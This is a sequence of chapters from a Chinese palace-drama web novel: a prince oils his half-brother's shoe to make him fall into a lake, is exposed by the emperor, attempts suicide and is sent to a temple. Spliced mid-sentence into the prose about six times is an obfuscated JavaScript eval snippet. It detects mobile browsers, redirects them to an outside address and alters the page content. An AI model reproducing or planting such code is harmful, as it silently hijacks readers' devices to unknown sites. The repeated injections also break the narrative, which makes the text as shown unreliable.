“这次进宫的姑娘们,除了圣上看中的那个怡国公梁家的孙女,其他女子家世都低得很。若是四皇子与五皇子当真看中了这里头的哪个女子,这沈充媛肯定不同意。” 谢修容有意无意地瞥了沈充媛一眼,语气里多少带了些嘲讽,“这么多年了,她还在做着那些不切实际的梦,一点儿也看不明白!” “诶,说起来倒是奇怪呢,今日这场宴会就是为三皇子办的,这么长时间了,怎么不见三皇子人呢?” 不知为何,这会儿的丽充容忽然觉得心里有些七上八下起来。她探过头四处看了看,发现不知从什么时候开始,三皇子居然就不见人了。 而就在她这番话才说完,便瞧见七皇子身边的贴身内侍连滚带爬地朝着丽充容跑了过来。 “主子!主子不好了,七皇子为了去看那红尾锦鲤,不小心掉进千里湖去了!” 这内侍叫喊的声音很大,在座的所有人都听得清清楚楚。 “钦儿!钦儿!”听得那内侍的话,丽充容可是急坏了。而大概也是有些急火攻心,还没等丽充容从椅子上站起来,她忽然直直地就朝着身后的宫女身上倒了下去! “人救上来没有?!”眼看着丽充容听得这个消息便吓得晕了过去,夏韶宁忙一把扯过七皇子的内侍焦急地问道。 “回昭贵妃娘娘的话!救上来了!七皇子一落水,六皇子就亲自下水将七皇子救上来了!这会儿两位皇子都被送到千里湖旁的枕霞阁去休息了!不过……” “不过什么?!”看着那内侍一副欲言又止的样子,夏韶宁瞬间觉得气不打一处来,“有话赶快说!若是耽误了皇子们的治疗,本宫要了你的命!” “贵妃娘娘息怒,奴才说!七皇子虽然被六皇子救上来了,但是……救上来以后七皇子就昏过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637491|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,六皇子已经让人去请太医了!” !!! 这内侍的话一出口,夏韶宁的脸色瞬间就变了。 “李顺!你去一趟太医院,看看辛夷和张川柏今日是否当值,若是当值,让她们两个立刻去一趟枕霞阁!” “含秋!你去一趟重华宫,取几身六皇子和七皇子的衣裳鞋子来,好给两位皇子换上!” “惜春!你去一趟紫宸殿,不管圣上现在在做什么,都让他来一趟枕霞阁!七皇子不是那般调皮又不知轻重的孩子,更何况六皇子就在他身边,他断不可能为了看锦鲤让自己落水!今日这事儿有猫腻,你就说本宫在枕霞阁等着陛下前来定夺!” 夏韶宁一口气向自己的心腹们交代完这些事,随即一边嘱咐丽充容的宫女将她送回宫里好好休息,一边又简单交代了苏昭容几句让她将这场宴会好好善后,最后才带着谢修容急急忙忙往枕霞阁去了。 枕霞阁。 夏韶宁赶到的时候,含秋已经取了衣裳给六皇子换上了,这会儿的他正低着头站在一旁不说话,头发上甚至还在往下滴水。 “昀儿!”夏韶宁走到六皇子身前,有些心疼地看了他一眼,“你有没有哪里不舒服?” “母妃,我没有哪里不舒服,只是七弟……”六皇子有些愧疚地看了看这会儿躺在床上紧闭双眼的七皇子,不住喃喃道,“都怪我水性不好,若是我能再快一点,七弟……就不会昏迷了!” “傻孩子,谁也不希望这种意外发生的,这不是你的错。”夏韶宁将六皇子的头扳正,一字一句对着他道,“母妃觉得今日这件事情有猫腻,所以我已经让惜春去通知你父皇了。一会儿等你父皇来了,你务必把刚刚发生的事情一五一十的同你父皇说清楚,知道了吗?” 六皇子看着自家母妃那张严肃的脸,脑海中瞬间闪过了几个片段,脸色也变了。 “母妃!鞋子!七弟的鞋子还在千里湖边上,你快让人拿回来!” 第280章 鞋子 “鞋子?什么鞋子?” 那厢的萧祈安听得惜春来传话说六皇子和七皇子跌到千里湖去了,七皇子还昏过去了,便立刻丢下手头的事往枕霞阁去了。 这不刚一入了内间,就听得六皇子提到什么鞋子的事情。 “哎呀,父皇,鞋子!七弟的鞋子有问题!” 这会儿的六皇子见父皇来了,也来不及同他解释了,更是急得转头就要自己往千里湖去找七皇子的鞋子。 “主子,主子您别急!七皇子随身的东西,奴才这都收着呢!” 眼见着六皇子不由分说地就要往外跑,他的贴身内侍王恩急忙上前拦住了他,随即又小跑入了院子里把七皇子那双湿漉漉的鞋子提了进来。 正当六皇子抓着七皇子的鞋子准备同萧祈安开口的时候,便瞧见张川柏提了个药箱匆匆忙忙地赶了过来。 “微臣给陛下请安,给昭贵妃娘娘请安。” “行了快起来,赶快给七皇子看看。”萧祈安有些不耐烦地看了张川柏一眼,便对他摆了摆手示意他赶快治病。 张川柏也不敢耽搁,急忙跪在七皇子的床前给他看起诊来。 殿内很安静,没有人说话。也不知道过了多久,张川柏这才缓缓出声了。 “陛下放心,七皇子无大碍,只是骤然落水受了些惊吓。一会儿微臣写个方子让人熬了药给七皇子喂下,晚些时候七皇子应当就能醒过来了。” 这番话一出,在场的所有人这才松了一口气。 “惜春,你跟着张大夫去太医院拿药,回来煎了喂给七皇子吃了。”夏韶宁转头对着惜春吩咐了一声,而后忽然又想起什么般对着张川柏道,“本宫差点忘了辛夷刚刚生了孩子如今还在坐月子。那你一会儿写完方子顺道去永安宫给丽充容也看看,本宫瞧着她刚刚吓得不轻,其他人给她看本宫总归不放心。” 听得夏韶宁的话,张川柏点头应了,便带着惜春往太医院抓药去了。 “你们都出去。”眼见着七皇子已无大碍,萧祈安转过身来对着殿内伺候的宫人冷声道。宫人们低头应了,纷纷退了出去。 “昀儿,这一切到底是怎么回事儿?”如今的殿内只剩下了他们一家三口,萧祈安这才有些疑惑地对着六皇子问道,“你七弟真的不是自己调皮不小心掉进千里湖的?” “父皇,七弟平日里虽然思维有些跳脱,心思也不在念书上,但是他不是那般没轻没重的人!”听得萧祈安这般怀疑的话,六皇子急忙反驳起来。 他这会儿也顾不上头发还在滴水了,举着七皇子的鞋子就走到了萧祈安的身边。 “七弟一开始在千里湖旁看鱼的时候,并没有靠得很近。后来是瞧见……瞧见三哥和一位小姐在千里湖附近聊天,他想看热闹才凑近了一些。” “七弟知道湖边危险,所以都是隔着好些距离看的。谁知道他刚刚靠近湖边没一会儿,儿臣就见他似乎脚底打了个滑,这才落水了!” 说到这里,六皇子便双手将七皇子的鞋子递给了萧祈安。 “将七弟从千里湖救上来的时候,儿臣就觉得他的鞋子有问题。果然刚刚儿臣仔细检查了一番这双鞋子,果然发现这鞋底还沾了一些油迹!父皇若是不信,可以自己亲自看一看!” 听得六皇子这番斩钉截铁的话,萧祈安便立刻将那双鞋子接了过来细细看了。 因为油是不会融与水的,所以萧祈安将鞋子翻了个面,伸出手来摸了摸鞋底。果然,手上瞬间有了一丝黏腻的感觉。 这鞋底上沾的不是油,又是什么呢? “慢着,昀儿,这双鞋……这双鞋是不是丽母妃前几天送给你和七皇子的,你们两个一人一双?” 夏韶宁先是看了看萧祈安手里七皇子的鞋子,又看了看六皇子刚刚换下的那双鞋,果然确定了,就是丽充容送给他们兄弟俩一模一样的两双鞋。 这番发现,让夏韶宁与萧祈安的脸色都变了。 六皇子一开始不明白母妃为何要提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637492|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起自己与七弟的鞋子是一模一样的。可是看着父皇与母妃那张越来越黑的脸,聪明如他,瞬间就反应了过来。 因着六皇子与七皇子关系好,他们两个在重华宫是住在一个院子的,只是不住一间房。 若是平日里不大同他们两兄弟来往的人,必定是不会知道这两间房具体是谁住的。 假设这个背后的人想要害的并不是七皇子,而是六皇子。只不过是因为他与两人不熟悉,所以弄错了两人的房间。再加上两人只相差一岁,鞋子的码子样式都是一样的,那人情急之下把七皇子的鞋子当成六皇子的沾了油,这也就说得过去了。 “你与七皇子今日早晨出门的时候,有谁曾经去过你们的房间吗?” 夏韶宁抬眼瞧着六皇子一副正在思考的模样,便知道他应当也是与自己想到一处了,所以立刻出声询问道。 “父皇,母妃……”很显然,这会儿的六皇子已经知道到底是谁想要害他了,只是他仍在犹豫要不要说。 他抬起头来欲言又止地看了一眼萧祈安,又转头看了一眼夏韶宁,半天都不肯出声。 “你不用为谁遮掩,就算你今日不说,朕大概也能猜到是谁做的了。” 萧祈安面无表情地看了六皇子一眼,这会儿的语气更是冷得可怕。 “是三哥……”犹豫了好久,六皇子这才十分艰难地开口了,“今早临要出门的时候,三哥说他有本书找不到了,说想看看是不是落在儿臣和七弟的院子里。他大概在院子里待了一刻钟,而后便拿着一本书出来了。过了没半个时辰,儿臣就带着七弟往澄瑞亭去了。” “所以你刚刚也说了,七皇子是看见三皇子与一位小姐在千里湖旁聊天,才想着往前凑一凑看个热闹的对吗?”这会儿的夏韶宁,一双手的拳头都已经握紧了,说话的语气里都带了些颤抖。 她转过身来冷冷地看了萧祈安一眼,随即朗声道,“所以这件事情,陛下打算,如何处理?” 第281章 怨怼 “三皇子在哪里?”面对夏韶宁的这般质问,此时的萧祈安脸色也十分难看。 他实在不愿意相信,就在自己眼皮子底下长大的孩子,居然能做出残害兄弟的事情。 “回陛下,三皇子……三皇子如今正与梁小姐一块儿画画呢……”听得萧祈安的问话,张全和急忙走上前来回了一句。 “画画?他的弟弟被他害得如今还躺在床上昏迷不醒,他还有心思画画?” 萧祈安冷笑一声,随即大声道,“去把这个不孝子给朕抓到紫宸殿去!朕倒是要问问,六皇子到底哪里得罪他了,他连自己的亲弟弟都容不下?!” …… 紫宸殿。 一入了殿内,萧祈安就挥手让宫人们全都下去了,只留下了夏韶宁与六皇子母子俩。 夏韶宁面无表情地揽着六皇子站在一旁,一句话也不说。 萧祈安抬眼看她,却瞧见夏韶宁生生将头歪到了一旁。那个样子明显就是告诉萧祈安——她生气了。 “陛下,三皇子来了。” 正当殿内的气氛处于一种十分诡异的安静之中的时候,张全和快步走到了萧祈安的身边,出声打破了这尴尬的沉默。 “让他滚进来!”此时的萧祈安本就一肚子火,听得三皇子来了,立刻对着门外大喝了一声。 他这一声大喊,紫宸殿内外的所有人不禁都吓了一大跳。 听得父皇喊自己,三皇子便低着头从门外走了进来。从始至终,他都没有抬一下头,哪怕入了殿内,他也没有看夏韶宁和六皇子一眼。 “呵,做那些龌龊事儿的时候胆子不是大得很吗?怎么这会儿连头都不敢抬?” 萧祈安看着低着头站在自己面前的三皇子,怒火中烧,随手拿起手边的一个茶盏就朝着三皇子丢了过去! 在场的所有人,包括冷脸的夏韶宁都以为三皇子会躲开。谁知道三皇子不仅没有躲,他连身子都没有歪一下。 霎时间,滚烫的茶水就那样泼到了他的手背上,他却愣是连哼都没有哼一声。 “朕倒是没看出来,你还是个犟骨头呢!”萧祈安并没有因为三皇子的这般举动就消了气,此时的他甚至觉得自己比刚才还要生气了。 他在心里不禁想着,这孽障如此别扭的性子,到底随了谁了?! “父皇息怒。”也不知道三皇子到底在想些什么,面对盛怒的萧祈安,他终究还是缓缓开口了。 “息怒?朕瞧着你是想要生生气死朕!”眼见着三皇子终于舍得开口了,萧祈安便立刻出声了,“今日是你七弟命大,没被你给害死!若是换成老四、老五那病怏怏的身体,你就是**凶手你知道吗?” “儿臣不明白父皇在说什么。”直到这个时候了,三皇子还在装傻。 “你不明白?好,那朕就让你明白!”眼见着三皇子这副不见棺材不落泪的架势,萧祈安不怒反笑。 “你借着书不见了的由头今日一大早去了一趟老六、老七的院子,但是因为你平日里与他们两人着实不熟悉,所以弄错了两人的房间,把老七的鞋子当成了老六的,在那双鞋子上抹了油。” “后来你又故意约着那梁小姐去了千里湖的边上,假装与她做出了亲密的动作,想引得老六靠近千里湖边去看。” “你的计谋的确很高超,想要伪造一出六皇子脚滑落水的戏码。只是你千算万算也没有算到,你弄错了老六和老七的鞋子,老六没出事,老七却落水昏迷了!” 萧祈安一边说,一边从上首缓缓走到了三皇子的身边。 “抬起头来看着朕,告诉朕朕说得这一切对是不对?!” 三皇子一开始还想要抵赖,可是当他抬起头来对上萧祈安那双似乎随时能杀了他的眼神的时候,他瞬间就败下阵来。 他低下头,再抬起来的时候,居然如释重负地笑了。 “我既然下定决心做了这件事,我就猜到了会有被发现的可能。如今当真被发现了,只能说他萧衡昀命好,我萧衡驰输了。” “三哥!为什么?你为什么要这样对我?难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649590|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道你就如此恨我,恨到巴不得我**的地步吗?” 听得三皇子亲口承认了的确是他想要害死自己,此时的六皇子情绪十分激动。 他不顾被夏韶宁死死攥住的手,费力挣脱开了以后立刻就挪到了三皇子的面前,大声质问他道—— “我知道你不喜欢我,但是你从来不会像大哥哥大姐姐那样当着众人的面嘲讽我、欺负我。我从来只以为我们只是关系不亲密,可是……你为何想要害死我?” “你一个既得利益者,有什么资格这样耀武扬威地质问我?” 相较于六皇子此刻的激动,面前的三皇子则显得十分的淡定。 他抬起头来轻蔑地看了六皇子一眼,一字一句对着他道,“明明我才是嫡子,就因为我母后早逝,你的母妃是宠妃,所以我从小到大处处都要低你一头。” “小的时候我还经常安慰自己,告诉自己反正以后这大容的天下都是我的,我懒得同你一个庶子计较。” “可是时间一天一天过去,我们一天一天长大,我渐渐发现,父皇的心根本就不是正的,他的心是歪的!他根本就没有想将这天下交到我这唯一的嫡子手中的意思!” “萧衡驰,你放肆!朕还在这里活得好好的,你怎能如此面不改色地说出这种大逆不道的话!” 随着三皇子的话说出口,萧祈安再也忍不住了,大喝一声想要制止他继续口不择言下去。 但是许是这些年来三皇子心中的怨怼越积越深,再加上自己做了错事已经暴露了,他便彻底卸下了伪装,想要把这些年来所有的不满全都吐出来。 “萧衡昀我告诉你,我恨你不是一天两天了,想要你死也不是一天两天了!从你出生父皇所有的心思都被你霸占了以后,我就已经恨上你了。” “当然,我最恨的,还是父皇你啊!”说到这里,三皇子忽然转过头来,目光幽幽地望着萧祈安道,“我有的时候在想,若是我**,父皇……你会不会有哪怕一丝的……后悔?” 第282章 极端 三皇子这话说完,毫无征兆的,他忽然就发疯一样朝着一旁的柱子冲了过去! 他的动作很快,快得似乎早就已经在心中下定了某种决心一样,一丝犹豫都没有。 “昀儿,抓住他,不能让他就这样**!”就在所有人仍处在震惊中的时候,夏韶宁最先反应了过来。 她用尽全力朝着离三皇子最近的六皇子大喊一声,瞬间就将呆住了的六皇子喊回了神。 因为萧祈安一直十分看重六皇子,所以他的武艺都是找大容最好的师傅教的。这个时候,没有人有六皇子的动作快。 之间他以迅雷不及掩耳盗铃之势一把抓住了三皇子的一只手,生生将他从柱子旁拉了回来。 只不过他的动作还是慢了一点,他只是稍微减轻了一下三皇子撞向柱子的冲击力,却并没有将三皇子的人拉过来。 所以,一番操作下来,三皇子的额头上还是被柱子磕出了一个巨大的窟窿,正哗啦啦地流着鲜血。而此时的三皇子,也早已陷入了昏迷。 “叫太医!叫太医!”眼见着三皇子还是晕了过去,一旁的夏韶宁的反应比任何人都大。 此时的她也顾不上其他了,只是满脸焦急地对着萧祈安大喊道,“陛下!他不能死!他若是**,昀儿的前途也就毁了啊陛下!” 多年夫妻,萧祈安怎能不明白此时的夏韶宁在担心什么。 如今的殿内除了萧祈安,就是夏韶宁与六皇子。三皇子入了紫宸殿的时候,有许多人都看到了萧祈安是生了很大的气的。 没有人知道三皇子私底下做了什么龌龊事,别人看见的,只是三皇子不明不白地就死在了紫宸殿,死在了昭贵妃与六皇子的面前。 这件事情一发生,夏韶宁与六皇子就算有八张嘴也没有办法将事情的真相说清楚了。 就算萧祈安这个皇帝出来解释,那也只能是强制让那些大臣不再明面上讨论这件事。至于他们私下里说什么,想什么,萧祈安根本管不着。 昀儿以后是一定要当太子、承皇位的,萧祈安不能让昀儿承受这些莫名其妙的流言蜚语。这对于他以后的皇位乃至于皇权,都是极大的不稳定因素。 所以三皇子,不能死! “张全和,将三皇子挪到偏殿,去将太医院所有擅外伤的太医都请来。就说……朕今日练剑的时候不小心受伤了。” 思索了好一会儿,萧祈安觉得只有以自己受伤为由头将太医召到紫宸殿,才不会引起宫里其他人的怀疑。 果然,他此话一出,夏韶宁那满脸紧张的神色才渐渐放松了下来。 …… 且说太医院的太医听说圣上受伤了,那是半刻钟都不敢耽误,立刻抬脚就往紫宸殿赶去。 只是一众太医刚被张全和带到紫宸殿的便殿,却瞧见圣上正好好地在殿内坐着,昭贵妃和六皇子正满脸正色地站在一旁。 而那床上躺着的……分明是头上已经被撞出一个血窟窿的三皇子! “今日的事情,要保密!若是出了紫宸殿的大门,朕听到有任何人议论这件事情,你们今日跨进紫宸殿的所有人,一个都别想活!” 此时的萧祈安,对着太医说话的语气如同那索命的阎王一般,吓得前来的太医们立刻哗啦啦地就跪了一地。 嘴里还纷纷说着,“微臣明白!微臣不敢!” “三皇子不能死!不管用什么办法,不许他死!”萧祈安冷冷地看了跪在地上的太医一眼,也是给这些太医下了死命令。 太医们哪里还敢说一个不字,立刻纷纷上前争着给三皇子治病去了,生怕自己晚了一秒钟,脑袋和脖子就要分家了。 “宁儿,你与昀儿要不……” “不,陛下,臣妾和昀儿不能回去。” 眼看着太医已经在给三皇子治病了,萧祈安便走到夏韶宁的身边想让她带着六皇子回宫去休息一下。 只是他的话都还没说完,就被夏韶宁给堵了回去。 “臣妾和昀儿必须在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649591|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守着,若是三皇子真的**,咱们再好商量下一步对策。” 这会儿的夏韶宁,脑子是前所未有的冷静。她知道她现在不能离开,若是她离开了,三皇子真的没救活,到时候萧祈安再召她说话,那就显得太刻意了。 反正萧祈安对外的说辞也是他练剑受伤了,那宠妃和宠妃的儿子留在紫宸殿里侍疾,也并不会让宫里的那些人觉得有什么不合理的地方。 “罢了,那今晚就让昀儿睡另一边的侧殿,你与朕就睡在紫宸殿吧。” 萧祈安知道夏韶宁是个倔强的性子,她决定了的事情是不会那么轻易就改变的,所以他也就没打算继续劝说了。 萧祈安又耳提面命对着太医们嘱咐了一番一定要全力救活三皇子,就带着夏韶宁和六皇子从侧殿退了出去。 三人一路无言,最后又回到了紫宸殿正殿。 这会儿的紫宸殿已经被宫人们收拾得干干净净了,只是殿内似乎还弥漫着一丝血腥的气味,着实有些不好闻。 夏韶宁走到窗户边,将所有的窗户都打了开来,殿内的血腥气味才渐渐地消散了。 “昀儿,这不是你的错。” 意识到了从刚刚三皇子撞柱到现在,一直跟在自己身边的六皇子一句话都没有说,夏韶宁只能摸了摸他的头,轻声安慰他。 “父皇,难道我真的如同刚刚三哥说的那样,是个既得利益者吗?是不是所有的哥哥姐姐、弟弟妹妹们,都很讨厌我?觉得是我抢了父皇的爱?” 六皇子走到萧祈安的身边,不由分说地靠进了他的怀里,萧祈安瞬间感觉自己胸前一片热热的。 他知道,昀儿终究还是忍不住落泪了,只是他的心忽然也怔住了。 曾几何时,他是如此不甘心父皇只宠爱废太子与废瑞王,可是又是从什么时候开始,他居然也走上了父皇的老路? 成为了一个偏心的、逼着自己的儿子们结党营私、残害兄弟,甚至要闹到撞柱**的地步呢? 第283章 老的小的一起骂 “够了!你们两父子真的够了!!” 夏韶宁眼看着眼前的这两父子抱在一块儿,一个默默哭泣着,一个沉默着不说话,心中瞬间觉得烦闷不已。 她走到萧祈安的身边,伸出手来不由分说地就将六皇子从萧祈安的怀里拉了出来,厉声道,“萧衡昀,你若是总是这样将这个世间发生的所有问题全都揽到自己身上,那我今日就把话放在这里了,你这辈子都成不了什么大事!” “母妃……”此时的六皇子眼角还挂着泪,忽然就看得自己那个向来温柔的母妃忽然对他发起脾气来,他瞬间就呆住了,这会儿是连哭也忘记了。 而此时的夏韶宁根本不管这两父子是怎么看她的,骂过了小的之后,她转头又开始骂起了老的。 “萧祈安!我知道你心里有个心魔,所以你总是担心自己对这些孩子们不够好,害怕他们一个个走你的老路。” “可是你有没有想过,这些孩子会变成现在这样,难道都是你的错吗?难道与他们自己一点儿关系都没有吗?” 夏韶宁抬起头来看了一眼面上有些迷茫的萧祈安,随即又道,“你不是没有将差事交给大皇子做,也不是没有给他机会,可是他是怎么回报你的?当值那是三天打鱼两天晒网的,做事那是能偷懒绝对不勤快的,这种人,他对得起你的栽培吗?” “还有三皇子,你多次劝说他早日出宫开府,大婚后便可以上朝领差事做,可是他的选择又是什么呢?为了陷害弟弟故意留在宫里不出宫不领差事做,这种心思不正烂泥扶不上墙的人,难道也怪你没有给他机会吗?” 说实话,夏韶宁的这番话说得可以算是很直白也很难听了,但是就算是这样,萧祈安也没有一点生她气的意思。 他甚至连生气都忘了,只是怔怔地看着眼前的夏韶宁,一句话都说不出来。 “这个世间每个人都有每个人的命数,他人要选择走怎样的路我们是无权去干涉的。我们只能做好自己分内的事情,以后年老的时候想起来,总不会去后悔,这就够了!你们两父子明白了没有?!” 夏韶宁几乎是用尽全力说完了这些话,这番话说完,她便不再做声了。 该说的她都已经说了,若是这两人还是没有想明白,仍旧处在一种自我内耗里,那只能说她夏韶宁瞎了眼,这些年来的付出全都喂了狗罢了。 “母妃,你别生气了,我想明白了。” 这会儿的六皇子,眼中早就已经没有泪水了。被自家母妃这般劈头盖脸地骂了一顿,他非但没有觉得难过,心中似乎还清明了许多。 他走到夏韶宁的身边,轻轻地拉住了她的手,随即似乎像下了某种决心一般对着她道—— “我没有做错任何的事情,我行得正坐得端。父皇对我好,是因为我比那些兄弟都有能力,这是我应得的。同样的,我也不会辜负父皇对我的这般好。我一定会好好努力,争取有一天……能变成如父皇一般顶天立地的人!” 他的这话说得很坚决,整个人看起来也好像褪去了从前的那满身稚气。 夏韶宁再抬头看向六皇子的时候,才觉得他似乎真的有某些地方,悄悄地发生了改变。 “你的脾气还是这么大。”这时候的萧祈安,因着被夏韶宁的这一通骂,心中那些从前的心魔早就已经被驱散开了。 因为他忽然之间就发现了,原来他与自己的父皇是不一样的。 他对待这些孩子从来问心无愧,他们之所以落得今日这般地步,完全是他们咎由自取。 皇位只有一个,他当然要传给能力最强的那个孩子。只是实现自己的价值并不仅仅只能通过登上皇位这一条路实现的,若是你的能力不够,退而求其次选择早早选择一条适合自己的路才是最明智的。 而不是为着那个你能力匹配不上的位置在背地里搞这些小动作,这种事情,才是世人所不齿的。 “臣妾今日逾矩了,请陛下处罚。”看着萧祈安的脸色又变了回来,夏韶宁明白他这会儿已经想通了,于是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15654167|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一丝犹豫地就朝着萧祈安跪了下来。 六皇子一惊,便也跟着夏韶宁一起跪了下来。 “得了吧,这些年来,你做的逾矩的事情还少吗?若是朕要处罚你,你都不知道**多少次了!” 萧祈安有些无奈地瞥了跪在地上的夏韶宁一眼,到底伸手将她从地上扶了起来。 “朕虽然是皇帝,但是也是个凡胎肉体的俗人。只要是人,总会偶尔犯傻,那么这个时候就需要有个人站在朕的身后狠狠地骂朕一顿。很显然,宁儿就是这个人。” 萧祈安伸出手来扯了扯夏韶宁的嘴角,倒是开始哄起她来。 “你做得很好,朕不怪你。只不过……以后不许再直呼朕的大名了,这要是给别人听着了,朕的脸面往哪儿搁?” “这不是一时气急了吗……”看着萧祈安给了自己的台阶,夏韶宁也就顺着台阶走了下来,“臣妾答应陛下,下次不会了。” 正当三人解开心结的时候,便又瞧见张全和满脸喜色地从外头走了进来。 “启禀陛下!三皇子,醒了!” 这番话落,在场的三人的心,才彻底的放了下来。 “咱们去看看?”萧祈安伸出手来拉住夏韶宁,轻声询问她。 “不了,还是陛下一个人去吧。臣妾与昀儿在这里等着便是。”听得萧祈安的询问,意料之外的,夏韶宁只是摇了摇头。 “怎么了?”萧祈安有些不解,明明刚刚的夏韶宁那样的担心,如今听得三皇子醒了,难道不是应该自己亲眼去看过才能放心的吗? “三皇子对臣妾与昀儿有敌意,刚刚他已经做出过那么极端的事情了,臣妾以为还是不要让她见到我们两人,再受刺激了。” 说到这里,夏韶宁似乎又想到什么抬头看了看萧祈安,一字一句道,“只是三皇子虽然死里逃生,但是他做的错事并不应该因为他曾经**就被掩盖过去。” “臣妾相信陛下会给臣妾与六皇子,以及仍在昏迷中的丽充容与七皇子一个交代。” 第284章 净思 “朕明白。” 听得夏韶宁的这番提醒,萧祈安只是回了她三个字,又给了她一个坚定的眼神,便转头跟着张全和往三皇子躺着的偏殿去了。 萧祈安赶到偏殿的时候,三皇子果真已经醒了过来。只见他的额头上包着厚厚的纱布,正脸色苍白地靠在床头喝药。 “如何了?”萧祈安走到了他的床边,也没看他一眼,只是自顾自的询问起了一旁的太医。 “回陛下的话,幸好三皇子撞击的时候力道忽然减轻,所以三皇子只是受了些皮外伤,脑子里头没什么大碍。喝了药休息一段时间,应当就没什么大事了。”太医恭敬地回道。 “知道了,你们先出去,朕想单独同三皇子说几句话。”听得太医的答复,萧祈安也只是微不可闻的点了点头,脸上没有什么多余的表情。 太医们应了,随即便收拾东西从内殿退了出去。 “你这是何必。”萧祈安冷着脸坐到了三皇子身边,接过他手中的药亲手喂了他一口,“就算做了错事,也不必闹到要**的地步。” “父皇那样宝贝六弟,我差点害死他,父皇还会留我的性命吗?”三皇子别过脸,冷笑一声,“与其死在自己父亲的手上,不如我自行了断了,也算是给我自己留了些最后的体面。” “可惜到底还是没死成。”三皇子轻叹一口气,“所以父皇打算如何处置我?杀了我?还是同大哥一样被送去漠州流放?” “朕不明白,咱们父子俩为何会落得如今这般地步。朕明明记得从前的时候教育你们兄弟几人从来一视同仁,为何你与老大会变成如今这样?” 萧祈安放下手里的药碗,语气里都是无奈。 “父皇就当作我们心大吧,您不也是那么过来的吗?”三皇子淡淡地开口道,“只是我们与父皇又不同,您是真的有本事有能力的,而我们没有。正因为我们知道自己没能力没本事,所以才会想方设法地用这些旁门左道的方式去争去抢。” “若是成功了,那是个一本万利的买卖。只不过我与大哥都输得一败涂地罢了。” 听得三皇子的话,萧祈安叹了口气,最终还是说出了他最后的决定。 “朕不会要你的命,但是朕也不想再看见你。伤好以后,你去宝光寺带发修行吧。” “朕会下一道旨意,就说你是为了大容国运自愿出宫修行的。朕再亲赐你一个法号,下半辈子,你便好好待在宝光寺里反省吧。” 事情已经闹得这样难看了,无论如何萧祈安都不会允许三皇子继续留在宫里了。 他也不会让他出宫开府参与什么大容政事,权衡再三,以为国家的国运出宫去寺庙带发修行,是他能想到最适合三皇子的结局了。 三皇子一开始已经认定萧祈安不会放过他,就算是他肯放过自己,昭贵妃为了她儿子也必定不愿意留自己一条命。 可是他没想过,父皇到底不是先帝,不似先帝那般冷血。萧祈安到底给三皇子留了最后一条退路。 “儿臣遵旨。”心中百转千回,只是到了最后三皇子还是只说出了这四个字。 他不顾自额头上仍在疼痛,执意下床朝着萧祈安跪了下来。 “儿臣有罪,不奢望父皇这辈子能原谅儿臣。儿臣会在宝光寺日日为父皇祈福,只愿父皇与大容越来越好。” …… 光启十五年十月十八,皇三子萧衡驰自愿出宫前往宝光寺为了大容国运带发修行,光启帝亲赐其法号为净思。 朝中虽然也有官员对这件事情有些微词,但是萧祈安每次都用一句“三皇子是自愿为了大容出宫去祈福”将那群官员想说的话一股脑地全都堵了回去。久而久之,便再也没人就这件事情胡言乱语了。 毕竟圣上都这么说了,谁又敢反驳呢? 讲到底,三皇子自己能力本来也不行,性格脾气也一直阴晴不定的,最重要的是他也没有得力的母家支持。所以少了他一个皇子,其实对于大容也并没有什么很大的影响。 